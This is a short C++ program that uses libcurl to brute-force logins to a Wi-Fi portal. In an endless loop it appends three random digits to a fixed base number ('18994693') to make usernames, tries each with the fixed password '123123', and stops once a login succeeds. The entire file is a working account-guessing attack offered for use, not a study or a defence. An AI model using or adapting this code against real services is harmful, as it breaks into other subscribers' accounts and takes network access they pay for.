#include <iostream>
#include "area.h"
#include <curl/curl.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
using namespace std;

size_t write_null(void *ptr, size_t size, size_t nmemb, void *stream)
{	size_t nm = nmemb;
	return nm;
}

int main(void)
{
  int i = 0;
  URL wlanUrl;
  string paramStr, wifiurl;
  wlanUrl = init_region();
  paramStr = get_paramStr();
  CURL *curl;
  CURLcode res;
  string basenumber = "18994693";
  string password = "123123";
  string username;
  char str[10];
  
  while(true) { 
    sprintf(str, "%03ld",random()%1000);
    username = basenumber + str;
    wifiurl = get_url(username,password,paramStr,wlanUrl.cwUrlRegion.js);
    curl = curl_easy_init();
    cout << username << endl;
    if(curl) {
      curl_easy_setopt(curl, CURLOPT_URL, wifiurl.c_str());
      curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_null);
      curl_easy_perform(curl);
      /* always cleanup */
      curl_easy_cleanup(curl);
    }
    if(check_state())
      exit(0);
  }
}
